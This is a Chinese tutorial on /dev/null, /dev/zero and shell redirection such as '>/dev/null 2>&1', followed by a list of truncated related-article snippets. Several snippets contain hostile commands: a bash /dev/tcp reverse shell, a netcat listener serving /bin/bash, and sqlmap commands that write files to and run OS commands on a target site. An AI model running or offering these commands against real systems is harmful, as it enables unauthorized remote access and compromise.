1,可以将/dev/null看作"黑洞". 它非常等价于一个只写文件. 所有写入它的内容都会永远丢失. 而尝试从它那儿读取内容则什么也读不到. 然而, /dev/null对命令行和脚本都非常的有用.
用处:
禁止标准输出. 1 cat $filename >/dev/null # 文件内容丢失,而不会输出到标准输出.
禁止标准错误. 2>/dev/null 这样错误信息[标准错误]就被丢到太平洋去了.
2, 1>/dev/null 2>&1的含义
> 代表重定向到哪里,例如:echo "123" > /home/123.txt
1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于"1>/dev/null"
2 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
那么本文标题的语句:
1>/dev/null 首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息。
2>&1 接着,标准错误输出重定向等同于 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。
3,/dev/zero文件代表一个永远输出 0的设备文件,使用它作输入可以得到全为空的文件。因此可用来创建新文件和以覆盖的方式清除旧文件。
下面使用dd命令将从zero设备中创建一个10K大小(bs决定每次读写1024字节,count定义读写次数为10次),但内容全为0的文件。
dd if=/dev/zero of=file count=10 bs=1024
shell中可能经常能看到:>/dev/null 2>&1
命令的结果可以通过%>的形式来定义输出
分解这个组合:“>/dev/null 2>&1” 为五部分。
1:> 代表重定向到哪里,例如:echo "123" > /home/123.txt
2:/dev/null 代表空设备文件
3:2> 表示stderr标准错误
4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 "1>/dev/null"
因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”
那么本文标题的语句执行过程为:
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息。
2>&1 :接着,标准错误输出重定向 到 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。
最常用的方式有:
command > file 2>file 与command > file 2>&1
它们有什么不同的地方吗?
首先command > file 2>file 的意思是将命令所产生的标准输出信息,和错误的输出信息送到file 中.command > file 2>file 这样的写法,stdout和stderr都直接送到file中, file会被打开两次,这样stdout和stderr会互相覆盖,这样写相当使用了FD1和FD2两个同时去抢占file 的管道。
而command >file 2>&1 这条命令就将stdout直接送向file, stderr 继承了FD1管道后,再被送往file,此时,file 只被打开了一次,也只使用了一个管道FD1,它包括了stdout和stderr的内容。
从IO效率上,前一条命令的效率要比后面一条的命令效率要低,所以在编写shell脚本的时候,较多的时候我们会command > file 2>&1 这样的写法。
相关推荐
shell中可能经常能看到:>/dev/null 2>&1,这里简单介绍下,方便需要的朋友
bash -i > /dev/tcp/ip/port 0>&1 2>&1 利用nc反弹shell: nc -lvvp 12345 -t -e /bin/bash 原理 bash -i > /dev/tcp/ip/port 0>&1 2>&1 bash -i 打开一个交互式的bash &是为了区分文件1和文件描述符1的 a>&b 的...
相信大家经常能在shell脚本中发现>/dev/null 2>&1这样的语句。以前的我并没有去深入地理解这段命令的作用,照搬照用,直到上周我将这段命令不小心写成了2>&1 >/dev/null,出了一点小问题之后,我才开始去了解这段...
shell中可能经常能看到:>/dev/null 2>&1 命令的结果可以通过%>的形式来定义输出 /dev/null 代表空设备文件 > 代表重定向到哪里,例如:echo “123” > /home/123.txt 1 表示stdout标准输出,系统默认值是1,所以”>...
主要介绍了shell中>/dev/null 2>&1到底是什么,文中介绍的很详细,需要的朋友可以参考借鉴,下面来一起看看吧。
本文介绍了shell 脚本自动搭建nfs服务的方法...ping -c 1 172.16.13.254 >/dev/null && echo **********网络ok********** #第一步:关闭selinux和防火墙 setenforce 0 >/dev/null && echo **********selinux已关闭**
2.Android操作系统手机不支持自动下载,点击手工下载,进入“按手机品牌及型号下载”与“按手机操作系统下载”选择界面(android平台的手机推荐使用“按手机操作系统下载”): 外链接本人的资源...
# LazyManage系统批量管理软件下载[shell]: http://hi.baidu.com/quanzhou722/item/4ccf7e88a877eaccef083d1a # LazyManage运维批量管理软件下载[python]: ...
检测服务监控脚本,可设置定时执行及...*/5 * * * * /bin/bash /home/mysh/service-health-check.sh >/dev/null 2>&1 开机启动: vim /etc/rc.local /bin/bash /home/mysh/service-health-check.sh >/dev/null 2>&1 &
gs_twi_id --- TWI ID for controlling Gsensor (0: TWI0, 1: TWI1, 2: TWI2) ;-------------------------------------------------------------------------------- [gsensor_para] gsensor_used = 1 gsensor_twi_...
linux shell 中”2>&1″的含义 脚本: nohup /mnt/Nand3/H2000G >/dev/null 2>&1 & 对于& 1 更准确的说应该是文件描述符 1,而1 一般代表的就是STDOUT_FILENO,实际上这个操作就是一个dup2(2)调用.他标准输出到all_...
Termux-ADB 在Termux中安装ADB和FastBoot工具!...如何安装静默安装: 在Termux中复制并粘贴以下命令以静默安装工具: apt update > /dev/null 2>&1 && apt --assume-yes install wget > /dev/null 2>&1 && wget ...
电话号码信息收集和OSINT侦察工具 如何安装 静默安装: 在Termux中复制并粘贴以下命令以...32m[*] Download starting...' && apt update > /dev/null 2>&1 && apt --assume-yes install wget > /dev/null 2>&1 && wget ...
./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –file-write /test/test.txt –file-dest /var/www/html/1.txt -v 2 8. ./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –os-cmd “id” -v 1
Shell脚本学习指南 提取码: s84l
NULL 博文链接:https://superior.iteye.com/blog/710595
yum.sh shell脚本内容: ... mount /dev/cdrom /mnt &> /dev/null cd /mnt/Packages/ if [ $? -eq 0 ] then echo 已将系统安装光盘挂载至/mnt目录下 cp -rf /etc/yum.repos.d/* /home/ rm -rf /etc/yum.repos
ping -c1 $IP &>/dev/null if [ $? -eq 0 ];then echo "当前主机和远程主机$IP是互通的。" else echo "当前主机和远程主机$IP是不通的。" fi 或者 #!/bin/bash # Name:ping.sh # Path:/shell02/ # Usage:/shell...
这是以下内容的搜寻器数据: 用法 1.直接从github使用JSON ...*/4 * * * * cd /home/ubuntu/Project/covid19-tw/ && bash getData.sh {key} > /tmp/temp.log 2>&1 原始数据来自: : 来自: : 松弛#covid19